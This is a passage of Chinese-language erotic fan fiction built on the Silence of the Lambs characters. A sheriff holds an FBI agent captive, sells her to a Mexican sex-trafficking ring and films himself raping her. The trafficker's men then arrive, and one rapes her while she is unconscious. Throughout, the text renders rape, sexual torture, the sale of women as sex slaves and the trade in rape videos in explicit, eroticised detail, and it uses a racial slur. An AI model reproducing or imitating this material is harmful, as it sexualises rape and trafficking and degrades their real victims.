分享好友
    复制链接
      第二十章
    六月二十二日,星期一,中部時間,23:12,漢茲農場
    「哈哈哈哈哈!」那是川特歇斯底里的笑聲。為什麼還能聽到這個兇手的聲音。史達琳舔了舔上顎,子彈穿出的那個洞,並不存在。「難道我還活著?」她睜開眼睛,眼前一片模糊,定了定神,她才看到川特正在自己面前狂笑,她看到川特的左手裡捏著自己的彈夾。
    是的,自己還活著。不知是劫後餘生的欣慰,還是再次被川特玩弄的憤懣,史達琳鼻子一酸,眼淚又一次不爭氣地滾滾而下。川特的身影馬上又模糊掉了。
    「別哭,克拉麗絲,要冷靜。要冷靜。只有靠自己,才活得下去。」哽咽中史達琳鼓勵著自己。深吸一口氣,她硬生生止住了自己的抽泣。
    足足狂笑了有兩分鐘,川特才喘過氣來。史達琳剛才那種瀕死前的眼神,實在讓他快活得好像同時達到了五次高潮。得意地伸出手,替史達琳抹去眼角的眼淚,他盯著面色慘白的女特工,她還真以為被自己的手槍轟爆了頭!
    「趕、緊、殺、了、我,不、然、後、悔、一、輩、子。」史達琳斬釘截鐵的聲音,把川特的余笑噎了回去。她的面頰還留有淚痕,眼中還閃著淚花,聲音也很虛弱,語氣卻意外的決絕。
    這個臭婊子還真不簡單啊,川特對視著史達琳平靜而自信的目光。每次都以為這臭婊子要崩潰了,誰知道不消幾秒鐘,她總能恢復鎮定。真他媽的見了鬼。這婊子從哪兒鑽出來的。這麼難纏。
    「你以為我不敢殺了你,」川特故意惡狠狠地,「你又沒有那個蓓絲小美人兒漂亮。一槍幹了你一點也不可惜。」
    「不管你把蓓絲賣到了哪裡,」聽到「蓓絲」的名字,史達琳心中第一次出現了一絲希望。也許她可以讓川特上當。她盡量保持語氣的平穩,「我都會把她救回來。」
    「臭婊子,別做夢了,好不好?你自己都活不過明天了,少說點大話吧。」
    川特覺得這個赤身裸體綁在這裡兩個小時的漂亮女特工,確實有點古怪,怕是自己剛才幹得太狠,把她幹傻了吧?
    「我會救出蓓絲,也會將你繩之以法。」史達琳的眼神裡居然出現了一絲嘲弄,雖然她的心跳得很厲害、非常厲害,她知道自己的生死,全在此刻。
    這是她唯一的機會。她和基尼唯一的機會。故意輕視川特。激怒他,讓他怒不可遏。
    「天網恢恢,你逃不掉……」
    「既然你那麼想救你的好朋友,」正要暴跳如雷的川特,腦子裡忽然閃過了一個新念頭,「不如……」
    史達琳的心幾乎跳到了嗓子眼兒。她明白川特正在考慮那種可能性。她打出了自己手裡僅有的那張牌。她希望川特會上鉤。現在,她只能熱切地祈禱基尼的在天之靈,保佑川特聽她的話。
    把她像蓓絲那樣,賣做性奴。
    ************
    從一開始,川特就非常不喜歡這個念頭。把史達琳賣做性奴,聽起來就很荒唐嘛。這裡面的環節那麼多。任何一個出了問題,都會是天大的麻煩。反正他已經決定用那50萬美元安度晚年,何必再生這些枝節。50萬不算多,但總勝過鋃鐺入獄吧。
    不過,史達琳剛才那種嘲弄的眼神,實在讓他耿耿於懷。川特已經發現,即使再狠命奸她十次,史達琳等緩過了勁兒,還是會用這種眼神看著他。除非現在就殺了她。是的,這樣最安全。明天早上他川特就拍拍屁股走人。美美強姦史達琳這一頓算是白賺。
    把她幹到奄奄一息,已經讓川特覺得報了背井離鄉的一箭之仇。可是史達琳剛才的傲慢和嘲弄,再次強烈傷害了川特的自尊。
    有沒有搞錯!是誰在強姦誰呀。你被強姦了,還那麼高傲?
    不行,就這樣殺了史達琳實在便宜她了。真的把她賣到墨西哥,讓千人騎,萬人干。受盡這樣的淩辱,看你還高傲?對,每天十個墨西哥農民撲上去放二十炮,讓她欲生不能,欲死不得,後悔這輩子做女人。只有這樣才算真正報了自己倉皇出逃之恨。
    況且一個象史達琳這樣漂亮的年輕女特工,應該能在墨西哥賣個好價錢吧。對了,晚上吃飯的時候,這婊子不是說過,中東的酋長們專門買美國的女警察、女軍人當性奴?連那個十四歲的小姑娘還能賣100萬,也算個名人的史達琳,也能值這個價吧?如果史達琳真賣上一筆,挽回自己的養老金損失不說,也許還有賺頭哩。
    川特漸漸被這個念頭迷住了。他必須更仔細地思考所有的細節。點了支煙,他在地下室裡來回踱步。史達琳此刻的心情忽高忽低。有那麼一會兒,她堅信自己的激將法成功了。但其餘的時間裡她又變得無比沮喪。覺得任何一個下一秒,川特都有可能拔槍射殺自己。
    花了一支煙的功夫,川特把整個的計劃過了一遍。他覺得這個主意可行。他第二天早上就要取出所有的積蓄、飛到紐約,一切順利的話,明天傍晚就到了自由的凱曼群島。FBI一旦發現麥耶和史達琳失蹤,真正展開全面搜查,最快也要明天下午。那時候,就是掘地三尺,對他也再沒有一點妨礙。
    現在還不到半夜,離天亮還有五、六個小時。根據以往的經驗,他有足夠的時間來安排史達琳的買賣。如果談得順利,羅德裡格斯的手下在早上4點左右就能到達漢茲農莊,運走史達琳。他還能回家沖個澡,收拾好東西,吃個五成熟的火腿煎蛋,8點銀行一開門就去取錢。
    主意已定,川特回到史達琳面前,「史達琳婊子,你不是很想當英雄嗎?看在剛才你讓我好好幹了一頓的份上,我就幫你個忙。你很快就要見到你的老朋友蓓絲了。不過,不完全是你想像的那個樣子。你在那兒要解救的不是蓓絲,而是墨西哥農民的性慾難題。哈哈哈,沒錯,賣你做性奴!」
    聽到這個可怕的消息,史達琳幾乎哭了出來。她已經哭了出來。她控制不住自己的眼淚,嗚咽著罵道,「畜牲,你現在不殺了我,會後悔一輩子……」
    川特更加得意,確信自己做了正確的決定。這臭婊子會嘗到生不如死的滋味的。現在害怕了?可惜,晚了!任何人跟川特過不去,才要後悔一輩子!他像情人般,溫柔地替史達琳抹去不斷滑落的淚珠兒。
    「你不要這麼害怕嘛,小寶貝兒。我絕不會跟錢過不去。五年以後,如果你還沒被墨西哥精液淹死,說不定你還有機會能見到我呢。要是你被賣到了中東,那自然不好說了。聽說富得流油的酋長們很欣賞獸交呀。」
    川特仔細檢查了捆綁史達琳的皮帶後,開心地上樓去談自己一生中最得意的樁買賣了。留下被嚇得渾身發抖的史達琳,獨自品嚐被賣到異國當性奴的悲傷。這一點,他川特就幫不上什麼忙了。
    在川特的腳步聲消失後,史達琳全身還在不停地顫抖。不過,不是因為對未來的恐懼,而是絕境中看到一線生機的激動。
    「基尼,我發誓,不管經歷什麼樣的羞辱,我一定會活下去,為你報仇。」
    ************
    六月二十二日,星期一,墨西哥時間,22:20,墨西哥
    羅德裡格斯非常不喜歡自己辦事的時候被人打攪。這很難說是他的脾氣大。又有誰會高興自己正在欲仙欲死的時候,被人拉起來接電話呢?況且,現在騎在羅德裡格斯大肚皮上、屁股扭得風情萬種的嬌艷小妞兒,再過兩天就要被賣給哥倫比亞的一個大毒梟。這是她的告別晚餐。
    出手這個大美人,羅德裡格斯還真有點捨不得。這樣標緻的美國妞兒,床上活兒又這麼出色,還真不容易找。不過,那毒梟的價錢實在誘人。錢更重要。女人嘛,說穿了還不是那麼回事!話說回來,她拍的那兩部錄像,也會給他大賺一筆。尤其是在洛杉磯當記者的那部。那可是不多見的傑作呀。
    當他知道是川特的電話時,猶豫了一下。畢竟川特的貨源質量,一直非常穩定。這樣的貨源他可不願輕易失去。羅德裡格斯示意身上的美人下來,他拿起聽筒,告訴總機室值班的手下,「接過來。」羅德裡格斯空出的那隻手,捉住那姑娘的頭髮,把她的頭按到自己的肚子上。那姑娘立刻吸起了他的肉棒。她的口技真不賴。深喉的功夫也很到家呢。
    對了,她也是川特賣來的吧。
    「你好,治安官,真高興你又開張了。」
    「是呀。羅,這次可是筆大買賣,目前為止,最大的一筆。」
    「哦?」羅德裡格斯直起身子,拍了拍身邊姑娘的頭,那姑娘連忙吐出了肉棒,老老實實地跪在床上,「說說看,老朋友?」
    「25歲,身高5尺4寸,身材棒極了。臉蛋也漂亮。對了,她是FBI特工。」
    「保羅、保羅、保羅,我說過多少次了?」羅德裡格斯不滿地強調。
    川特看得見他的不滿,「做生意,安全第一。FBI特工太麻煩。丟了個特工,FBI會發瘋的。」
    「這我知道,羅。我也幹過FBI不是?相信我,我有萬全的辦法,躲過FBI的調查。」
    「治安官,我不是不相信你。我只是不想招惹麻煩。做生意還不就是為了賺錢?我不會冒這個險。」
    「羅,」川特的聲音依然不慌不忙,「如果沒有把握,你覺得我會綁架一個FBI特工?難道我不想混了?」
    「哈、哈,保羅,我絕對沒有這個意思。你知道,最近風聲太緊,不能不小心點兒。」
    「這是筆大生意,」川特聽出墨西哥佬有點兒鬆動了,下鉤的時候到了,「羅,人肉買賣你是行家。你應該知道身份特殊的美國妞兒,總能在中東和南美賣出大價錢。」
    「嗯哼。」羅德裡格斯瞇起了眼睛。
    「你知道『麗姿』綁架案吧?」川特問。
    「說說看?對了,那個彈鋼琴的小姑娘?」墨西哥佬打起了精神。
    「沒錯,一個十四歲的黃毛丫頭賣了100萬。我的特工25歲。她可是美國的執法人員,還是個明星特工。不喜歡FBI的有錢人多得是。她也值那個黃毛丫頭的錢。」
    「保羅,你消息靈通啊。那特工都幹過什麼?」
    「她其實兩年前就成了大明星,上過《人物》封面。你知道『野牛比爾』的案子嗎?」
    「『野牛比爾』?」羅德裡格斯摸了摸下巴上的鬍子,「記不得。你們美國人稀奇古怪的案子太多了。」他並沒有注意到床邊跪著的那個美國小妞兒突然全身一震。
    川特簡要講述了史達琳如何單槍匹馬破獲「野牛比爾」一案。引來墨西哥佬的一陣歎息。他知道,這個叫史達琳的特工,絕對是一棵搖錢樹。以她的經歷和身份,中東的石油酋長也許會出200萬。
    「保羅,聽起來很不錯。不過她真像你說的那麼有名氣,FBI會抓狂的。你怎麼對付他們的調查?而且,和買主的交易也很困難。美國人現在還拚命地想找到我的麻煩哪。」
    墨西哥佬打過多次交道的川特,從他一大堆抱怨裡,清清楚楚聽出了他對史達琳的強烈興趣。他說的那些危險,不過為了殺價。該死的墨西哥佬。
    「羅,」川特沒時間兜圈子,「FBI我會應付。我什麼時候做過沒有把握的事?而且,現在還有其他買主。你是老關係,我才先找到你。如果擔心風險,我自然會聯繫別人。」
    「老朋友,」羅德裡格斯一副驚訝的口氣,「你有貨要趕緊出手,我怎麼能不幫忙?我知道,FBI失蹤了一個正在辦案的特工,他們還不瘋了?沒關係,咱們是老朋友了。這個忙我一定幫。告訴我個數,我好叫人去準備。」
    「好,爽快。一口價,30萬,現金。早上5點前提貨。」
    「哈哈哈哈哈!」墨西哥佬好像剛剛聽到那個世界上最可笑的笑話,笑得幾乎喘不過氣,「你看,保羅,我可不是你們的聯邦儲備銀行,怎麼讓我在半夜三更用一個小時給你變出30萬現金?」
    「羅,」川特有點不耐煩了,「你知道這特工的價值。我還有其他買主。」
    「30萬確實是個大數目,」羅德裡格斯忽然想起了賣小電影的那20萬,「我得先打個電話。十分鐘後你再打給我好嗎。」
    掛了川特的電話,墨西哥佬連忙撥通了他的地下電影買主的電話。美國人說現金已經準備好了。墨西哥佬讓美國人把現金直接送到漢茲農場。「叫你的人跟馬裡奧兄弟聯繫一下,他們知道那個農場究竟在哪兒。」
    又是川特的電話。
    「我只拿得出25萬現金。剩下的5萬提貨後轉帳怎麼樣?」墨西哥佬問。
    「一言為定。」
    「那好,還是馬裡奧兄弟4點鐘去提貨。不過,會有一個美國人帶一部分現金去。這個沒有問題吧?」
    「沒問題,老朋友。你信得過的人我也信得過。」川特掛了電話,心裡說,信得過才怪。反正老子是一錘子買賣,拿了錢就遠走高飛,到加勒比海灘上曬太陽嘍。給史達琳臭婊子安排個那麼完美的結局,又有25萬美元意外之財進賬,川特現在的心情簡直好極了。他發現自己的肉棒,居然又恢復了生機。
    再奸那個史達琳婊子一次?不奸白不奸!
    不知道為什麼,下樓梯時,川特亢奮的大腦,忽然飄過了死掉的黑鬼老湯姆的身影。老湯姆雖然又懶又蠢,給他平添了那麼多麻煩,但也不算一無是處。比如,他對華盛頓牧師可憐的女兒幹過的那件事,就很有想像力嘛。
    川特在樓梯上站了幾秒鐘,忽然歡快地吹了聲口哨,轉身上樓。他要的東西還在警車的後備箱裡。他得動作快點兒。那個念頭已經讓他的肉棒漲到發疼了。
    ************
    六月二十二日,星期一,中部時間,23:23,漢茲農場
    川特上樓打電話的當口兒,史達琳打起十二分的精神,緊張地思考著所有可能的變化。只有事事想在歹徒前面,才能把握自己的命運。她知道自己的機會,不管出現在何時何地,都只會有一個。如果失敗,以川特的狡詐,決不會給自己第二次機會。
    她必須一擊得手。
    她先檢查了一番自己的身體狀況。右腳斷掉的踝,連走路都不大可能。其他主要關節似乎還好。她試著收縮了一下菊洞,整個谷道還是火辣辣一片,入口處更是疼痛難忍,那裡至少撕裂了三、四處。肉洞雖然又酸又脹,幸好沒有什麼大的傷口。
    她努力回憶,在FBI訓練營學到、失去右腳攻擊能力時的制敵之術。要活用膝蓋和手上的擒拿技術。特別是右腿膝蓋。教官說過,對方會因為你的右腳失去戰鬥力而忽視右腿膝蓋。貼身緊搏,抓準時機,用右膝突襲,往往是打破僵局的奇兵。
    川特一定會把自己從這裡弄走。把自己從捆綁架上解下來時可能會有機會。川特還會很小心。但對自己的右腿可能不那麼在意。可以先裝出自己右腿完全廢掉的假象,機會一旦出現,用膝蓋猛擊川特下身。也許可以奏效。
    雖然撕裂的菊洞和腫脹的花徑會削弱擊打強度,只要膝蓋頂上川特的肉棒,即使不是全力,川特也至少需要整整一分鐘,才會恢復抵抗能力。川特的左輪槍套掛在腰帶右側。兩人一起倒地時,要竭力撲在他的右側。只要拿到川特的槍,她就可以扭轉乾坤。
    這時,樓梯傳來川特的腳步聲。
    史達琳的心臟「砰、砰、砰」跳得厲害,她不知道等待自己的,將是什麼命運。
    「史達琳婊子,」川特得意洋洋的聲音在史達琳背後響起,「你得好好感謝我一下,我剛給你找了新東家。FBI這碗飯,哪裡是女人吃得了的?還是你的新東家好啊,下半輩子讓你天天當新娘!」
    史達琳咬住嘴唇,盡量隱藏內心的激動。川特走到史達琳叉開的大腿之間,端詳著面前的尤物。地下室裡又悶又熱,毫不通風,史達琳赤裸的嬌軀上,依然一層細細的汗珠兒,在雪亮的燈光下,更顯得她玉肌嬌艷。川特伸出手,在史達琳光滑的脊背上輕輕來回撫摸。
    史達琳全身一緊。川特的手指掠過豐滿的臀丘,向下滑進她的大腿內側。雖然她剛剛慘遭川特的多重淩辱,全身的緊要處都被川特毫無保留地玩遍,她還是無法適應川特的手指隨意撫摸。
    川特的手指,和她被強姦前一樣,依然讓她噁心地全身顫抖。
    然而,當川特走到她的面前,面帶微笑地舉起手中物件的時候,史達琳的心一下沈了下去。她才發現川特比她想像的還要變態、還要惡毒。她的胃不由自主地抽搐起來。一股的胃液衝到了嘴裡,整個鼻腔都是又酸又粘的味道。
    川特手裡是一台便攜式錄像機和一隻輕型三角架。
    「臭婊子,」川特一邊笨手笨腳地架起三角架,一邊衝著史達琳擠出一個獰笑,「老湯姆最喜歡在強姦小妞兒的時候拍點兒錄像。估計為了日後打飛機用。他給黑牧師的女兒拍了整整一盤帶子,要不然,我也不會幹掉他。我還沒有試過邊干邊拍。好像很有意思嘛。史達琳婊子,笑一笑。」
    「雜種!」史達琳掙紮著從牙縫裡擠出了兩個字。
    川特舉起了手裡的錄像機,找到按鈕,機器「沙沙」轉了起來。川特瞇起一只眼睛,從取景器裡瞄著史達琳,把鏡頭直接推到史達琳的面前。
    「笑一笑,史達琳婊子。」
    黑黝黝的鏡頭幾乎湊到了史達琳的鼻尖。史達琳渾身都在發抖,她衝著鏡頭狠狠吐了口唾沫。川特一怔,隨即大笑起來。他從地上揀起史達琳的亞麻襯衣,把鏡頭擦乾淨,然後,繞著赤條條的史達琳,開始拍她赤裸嬌軀的特寫。
    川特先蹲在捆綁架的旁邊,攝像機扛在右肩,對準了暴露在空中的乳房。左手伸出去,粉嫩的乳頭被夾在食指和無名指之間,手掌正好握住整只乳房,輕輕揉搓起來。史達琳的乳房並不大,形狀卻幾乎完美,手感也是極佳,既結實,又充滿彈性。在粗糙手指的玩弄下,小巧的乳頭無可奈何地站立起來。
    史達琳咬緊牙關。呼吸,卻明顯粗重起來。
    拍夠了乳房,川特轉到史達琳的背後,她一覽無餘的股間,才是真正的拍攝重點。川特拿出勘測犯罪現場的細緻,記錄下眼前這個強姦受害者私處的每一處細節。為了一個花徑入口的特寫,川特故意扒開了史達琳紅腫的花唇,甚至插入一根手指,在花徑裡亂攪一氣後,拔出沾滿自己精液的手指,指尖拖出一條亮晶晶的細線。
    沾著精液的手指,馬上又插進了同樣狼藉的菊洞。史達琳發出一聲低低的呻吟。川特抓過史達琳的一綹漂亮的金髮,慢條斯理地把手指上的精液擦得幹幹淨淨。
    花了五分鐘,拍夠了史達琳的裸體後,川特把三角架移在了史達琳背後,把攝像機在三角架上固定好。他的肉棒漲得厲害。又到了放鬆一下的時刻。他脫下褲子,扶著堅硬的肉棒,來到史達琳背後,對準依然有些變形的花唇,狠狠插了進去。
    隨後的半個小時裡,川特不緊不慢地姦淫了史達琳全身可以插入的洞口。先是肉洞,接著菊洞,然後是小嘴。
    隨著川特屁股的扭動,史達琳深深淺淺地嬌喘哀啼。
    兩具赤條條的肉體上,都佈滿了一層閃亮的汗水。
    川特在史達琳的小嘴裡連續插了五分鐘後,即使強壯如他也有點支撐不住。喘了口氣,他從史達琳嘴裡抽出肉棒,轉到史達琳背後。攝像機還架在史達琳的面前,川特知道這個角度不僅可以拍到自己在史達琳背後的抽插,還可以記錄下史達琳被蹂躪時的表情。
    悲哀、憤怒、羞辱,是最好的壯陽藥。這次他用史達琳的菊洞做最後衝刺。
    史達琳幾乎昏死過去。全身被動地隨著川特的動作而顫抖。唯一活著的跡象是她輕促的喘息和間或的呻吟。
    干了大約一百下後,川特大叫著,拔出肉棒,快步走到史達琳面前。用力套弄幾下接近極點的肉棒,然後全身一哆嗦,把肉棒對準史達琳的面龐。第一股白濁的精液噴射在史達琳挺俏的鼻粱和眼睛上。第二股接著塗上了史達琳的嘴唇。接著是第三股、第四股……
    川特喘著粗氣,龜頭頂在史達琳的面頰上,故意把精液塗得到處都是。然後把肉棒插進史達琳的頭髮,蹭乾淨。
    他重新端起攝像機,對準了史達琳狼藉一片的面孔。
    又一滴清淚,流出了史達琳被粘稠濁物糊住的眼角。
    第二十一章
    六月二十三日,星期二,中部時間,01:40,漢茲農場
    川特第二次在史達琳身上發洩完獸慾後,提上褲子,又興致勃勃地拍了十幾分鐘史達琳的裸體。接著,川特從地下室的一角拉出一根長橡膠水管,對準史達琳擰開龍頭。
    「洗得乾乾淨淨,才好出去見人嘛。」川特一臉淫笑。他故意把龍頭擰到最大,強勁的水流,狠狠撞擊在史達琳飽受摧殘的玉體上。史達琳全身好像被重拳連續擊打。花唇和菊洞依舊張開,水流可以直接擊中嬌嫩的內壁,真是刀割一般難受。川特的手指還趁機插進那兩個密處,在裡面連番摳弄,說裡面也要洗洗干淨。
    水流射向史達琳的面孔時,她根本喘不上氣,淒厲的呻吟慘叫,在水流的喧嘩中,斷斷續續。前後不過十分鐘的「洗澡」,彷彿又是一場強姦,史達琳全身最後一絲氣力,似乎也消耗殆盡,濕淋淋地癱軟在捆綁架上。肩頭微微顫抖,她在無聲地抽泣。
    川特也甚是疲憊。這可真是漫長的一天,發生了多少驚心動魄的故事!隨後的幾十個小時裡,還有很多重要的事件要辦,而且一件也不能出差錯。他真的需要休息一下。在馬裡奧兄弟到達前,也許還能睡上兩個多小時。
    又檢查了一遍捆綁史達琳手腳的寬皮帶,川特才從樓上搬下來一張破舊的搖椅,擺在史達琳背後十英尺的地方,一屁股坐進去。這個角度,史達琳濕漉漉的私處,恰好毫無遮攔。美美地抽了支煙後,他打起了盹。
    不消幾分鐘,川特就鼾聲大作。
    全身還滴著水,精疲力竭的史達琳努力的打起精神,試著掙脫手腕上的厚皮套。那皮套結實極了,無論她怎樣用力,還是牢牢地綁在那裡。她掐了掐自己的指尖,很遙遠的痛感。已經被綁了好幾個小時,四肢都越來越麻木。連斷掉的腳踝也似乎失去了感覺,只有被撕裂的菊洞還在隱隱作痛。
    「保持清醒,克拉麗絲!」史達琳焦急地告誡自己,「趁現在想好對策。凡事要想在他們前面,才有機會。」
    然而,疲憊就像一陣無邊無際的濃霧,從四周緩慢而又堅定地圍過來,讓她難以保持清醒。此刻,她想到的,總是伏在地上一動不動的基尼。他身下流了一地的血。史達琳的眼睛又模糊了。一想起基尼,她就忍不住輕聲啜泣起來。雖然她知道現在根本不是傷心的時候。
    「我會活下去!我會為你報仇!」
    輕輕哭了一會兒,一層層倦意襲來,史達琳居然也昏昏沈沈地睡了過去。
    ************
    六月二十三日,星期二,中部時間,04:02,漢茲農場
    一輛20英尺的箱式貨車駛進漢茲農場,停在川特的警車旁邊。駕駛室裡跳下一矮胖、一瘦高兩個墨西哥人。那是馬裡奧兄弟,老大矮胖,老二瘦高。等在門口的川特朝他們點了點頭,連忙點了一隻煙,他可受不了這對馬裡奧兄弟身上的狐臭!
    川特知道,老大老練沈穩,老二毛手毛腳。他還聽說矮胖老大比瘦高老二大十來歲。其實,馬裡奧兄弟打小兒就形影不離。而且墨西哥規矩多,老二在年長十歲的老大面前,簡直如面對父親一般言聽計從。也許,兄弟倆最大的共同點,就是身上那股怎麼也洗不掉的狐臭,冷不丁能把你熏出一跟頭。
    馬裡奧兄弟從小的志向,就是成為威風凜凜的黑幫打手。他們的人生理想實現得很順利,十年前老大就跟著羅德裡格斯四處打天下。其實,所謂的打天下,不過是給羅德裡格斯運送走私貨物。後來羅德裡格斯看這兄弟倆老實可靠,就把從美國接收性奴、運回墨西哥的重任交給了他們。
    兩個馬裡奧都很喜歡自己這份職業。他們倆常駐東德克薩斯,表面上為休斯頓的一家大型墨西哥超市運貨,每週至少在美墨之間往返三、四次,結果兄弟倆和兩面的邊境檢查站都混得極熟,過關揮揮手就成,根本不用檢查。他們在東德克薩斯鄉間租了一間院子,寬大的地下室裡有一處暗格,不時充作轉運錄像帶的臨時中轉站。
    馬裡奧兄弟的主要職責,當然還是運送「貨物」,包括路易斯安那、德克薩斯還有密西西比和佛羅里達這幾個墨西哥東面的州。他們的貨物,自然是年輕漂亮。一個個在轉手前,很少不被賣主幹得死去活來。到馬裡奧兄弟接手的時候,也許她們嘴角股間還糊著一灘灘的新鮮濁精呢。
    那些小妞兒通常也都光溜溜的,沒穿什麼衣服。即使賣主匆匆忙忙給貨物套上件睡衣、裹上條浴巾,也得給兄弟倆一把扯下來。每個小妞兒都是大價錢,馬裡奧兄弟當然得裡裡外外好好驗驗貨不是?
    羅德裡格斯很體恤這對手下,知道血氣方剛的男人面對光屁股的漂亮妞兒,衝動得像頭發情的公豬,實在是很正常的反應。此時硬撐著不打上兩炮,倒會傷身體。所以他一般不反對兄弟倆在路上找找「貨物」的樂子,只要他們別誤事、別弄壞「貨物」就行。
    更像父子的這對兄弟,很多時候都心意相通。比如他們就喜歡同時上一個妞兒。誰上誰下,誰前誰後,倒是無所謂。只要能你進我退、我攻你守,協調好彼此節奏就行。兄弟倆又性慾旺盛,於是,圈裡面就有了個「三明治馬裡奧」的綽號。他們的這個特長,讓不少被他們運送過的「貨物」們吃足了苦頭。有幾個倒黴的姑娘,甚至聽到「三明治」就會渾身發抖。
    羅德裡格斯很快就發現,馬裡奧兄弟在運送途中上過的小妞,不分年齡、種族、職業,凡是經歷過兄弟倆的「三明治」,都會特別的乖巧。於是,愈發器重這對孿生兄弟,甚至不再限制他們運貨途中打炮的次數了。
    他們本來要在今天中午,送八百盤精彩的地下小電影到新奧爾良。這些帶子在美國黑市上會賣出大價錢。因為川特這筆買賣,錄像帶交易提前了九個小時。淩晨三點,他們在新奧爾良跟美國的買主交接了這批價值20萬美元的錄像帶。美國那邊的現金,會直接送到漢茲農場。
    矮胖老大很不高興在接收「貨物」時,有外人在場。他覺得這樣會帶來壞運氣。不過既然老闆給美國人說定了,他也只好從命。好在那個送錢來的小夥子,以前還打過幾次交道。
    和川特握了握手,矮胖老大問,「老湯姆怎麼不在?」
    「他前兩天胸口疼,」川特面不改色,「到醫院一查,原來犯了肺炎,住院呢。」
    「我就說過,」一路哈欠不斷的瘦高老二接了一嘴,「老傢夥黃湯灌得太多了,早晚出毛病。」
    雙方交易多次,彼此非常熟悉。川特直接領著他們去地下室。路上矮胖老大解釋說,拿錢的美國人正在路上,再過半個小時就會到。
    「說說看,真是個FBI特工?盤兒靚不靚?」瘦高老二毫不掩飾自己對「貨物」的強烈興趣。
    「自己看吧,」川特笑了笑,想起來臭婊子史達琳就要落入這對變態兄弟的魔爪,實在讓他興奮得很,「想怎麼看就怎麼看。反正,她是你們的啦。」
    ************
    六月二十三日,星期二,中部時間,04:10,漢茲農場
    史達琳突然驚醒。有那麼幾秒鐘,她的大腦一片空白,不知自己身在何方,也不知道自己為什麼在這裡。她好像剛剛做了一個糟糕透頂的綺夢,被一個沒有面孔的男人百般淩辱。她的嗓子很乾。她的頭真疼。
    臉上似乎沾滿了粘乎乎的東西,現在變干變緊,癢得難受。嘴裡也是一股古怪的腥臭味。她舔了舔自己乾裂的嘴唇,那裡被唾液潤濕後,居然意外的滑膩。舌尖上一種淡淡的腥鹹。
    奇怪的是,睜開眼睛,面前也一片模模糊糊。四周那些無法辨認的物件,似乎正在一起晃動,很整齊,也很有節奏。
    為什麼會這樣?
    不過,好像有一雙眼睛正在暗處什麼地方盯著她。那是雙不懷好意的眼睛,盯得她全身都不舒服。這是在哪兒?
    還有一股味道瀰漫於四周。不是嘴裡的那種腥臭,而是另一種更加難聞的味道。這種味道她好像在哪聞到過。不過,自己應該很討厭這種味道。十分刺鼻,讓人喘不上氣。難道自己在局裡的實驗室?為什麼自己渾身都是這股味道?
    她還聽到了一種奇怪的聲音,似乎就在自己的背後,很渾濁,連續不斷。但她不明白究竟是什麼。接著,史達琳又聽出有人在不遠的地方交談。那是兩個男人的聲音。一個口音濃重,語速又快,史達琳聽不出他在說些什麼。另一個人的聲音,倒是很熟悉,英語也很地道。
    不過,他是誰呢?
    她應該知道這個聲音。而且她知道這個人和自己關係重大。
    「川特!」
    史達琳全身的神經猛然收緊,這個令她終身難忘的名字,一下喚回了所有的記憶。基尼遇害!自己被強姦!那些不幸和羞辱!一幕幕淒慘的畫面,在史達琳的心中飛速掠過。她還被綁在捆綁架上,身上還是傷痕纍纍。備受摧殘的敏感花唇和菊洞,現在也鑽心地疼起來。疼得她的太陽穴「砰、砰」直跳。
    「振作起來,史達琳!」她低低呻吟了一聲,擡眼向基尼倒下的位置看去。基尼的屍體不見了!地上濕乎乎一片,看不清是不是基尼的血跡。只有自己那件雪白的襯衣,還扔在地上。視力雖然逐漸恢復,史達琳還是覺得面前的牆壁和地板都在來回晃動。怎麼回事?
    她的心忽然提到了嗓子眼兒。不是牆在顫抖,而是自己在搖晃。這麼有節奏的搖晃,難道……
    所有的神經突然間都恢復了彼此間的聯絡,所有的意識也在瞬間恢復。史達琳的鼻孔發出一聲低低的哀鳴。她終於醒悟,原來一條狂暴的肉棒,正在自己可憐的花徑裡瘋狂抽插!
    她正被強姦!
    身後奇怪的渾濁聲音,原來是那個正在強姦自己的男人的快樂喘息!而且這個人不是川特。因為川特還在五、六英尺之外,和另一個男人說話!
    史達琳悲哀地發現,自己正在被第二個歹徒淩辱!
    一個狐臭逼人的歹徒!
    ************
    矮胖老大的肉棒,在褲子裡正漲得難受。他也想跟老二那樣,一進門就撲到那個昏迷不醒的女特工身上,大干一氣。那小妞兒身材真不錯。不過,生意還沒有做完。生意畢竟是生意。他把五萬現金交給川特。縣治安官不緊不慢地連數了兩遍,一旁的矮胖老大心中都急出了火。老弟那邊「啪、啪、啪」的打炮聲,讓他一個勁兒地吞口水。
    那個FBI女特工被干醒後,呻吟聲居然誘人極了。她一定是咬著自己的嘴唇,不想發出任何響動。可惜,老弟是個有名的重炮手,又最喜歡聽身下的小妞兒大呼小叫、連聲哀求。你越不吱聲,他就越來勁。看著吧,有這個女特工好瞧的。
    那嬌滴滴的小妞兒果然被轟得全身都快散了架,鼻孔裡的喘息,像一個馬上要斷氣的人,又急促又淩亂。偶爾控制不住,會從鼻腔深處發出兩聲「啊、啊」的哀啼。真是婉轉嬌媚極了。
    這呻吟聲就像根羽毛,輕飄飄的,空中蕩來蕩去,不時輕輕撓兩下矮胖的心頭,癢得墨西哥佬坐立不安、渾身冒火。
    更要命的是,高瘦剛奸了幾下,就扭過頭招呼他,「快來快來,這小屄!真他娘舒服!」
    不過,他畢竟是代表老闆來做生意的。他不能像老弟那麼猴急。雖然他只是個不起眼的打手,但是打手也有打手的尊嚴。剛才老弟一進門,看到那個趴在木桶上、內褲掛在小腿的光屁股女特工,就兩眼放光,繞著轉了兩圈,跑到川特面前一陣諂笑,聽川特說「她是你們的啦」後,就邊解褲子,邊衝到女特工背後,狠狠插了進去。
    矮胖看到川特的嘴角有一絲笑意。他心中不禁暗罵,美國佬你他媽別看不起人!俺們墨西哥人又咋的了?俺們幹的也是刀頭舔血的買賣。沒有俺們,捧著FBI女特工這個熱芋頭,看不把你急死!
    他很想告訴川特,高瘦這麼沈不住氣,實在是因為他最近三個星期根本沒碰過女人。一個月前,不知道這小子怎麼染上了性病,小弟弟一個勁兒吐膿水兒。醫生開了藥,說要靜養三個星期。昨天下午複查後,大夫才開了禁。你說,血氣方剛的大男人,忍三個星期容易嗎?
    不過他轉念一想,染上性病也不是什麼光彩的事,索性不提也罷。回去,倒是得好好說說這小子。怎麼也不能當著美國佬的面,丟老闆的臉吶。
    「不錯,正好五萬,」川特收起現金,「那二十萬大約四點半到?」
    「嗯,」矮胖嚥了口唾沫,把目光從史達琳劇烈甩動的豐滿乳房上收回來,那兩粒鮮嫩的乳頭,顫得叫人心碎,「送錢來的那小子叫傑克,我認識他,靠得住。」
    「還有二十分鐘,」川特看了看表,衝著史達琳的方向一努嘴,「你不想試試?那婊子玩起來可是嘎崩脆。屁眼賤屄都要幹上幾炮才好。」
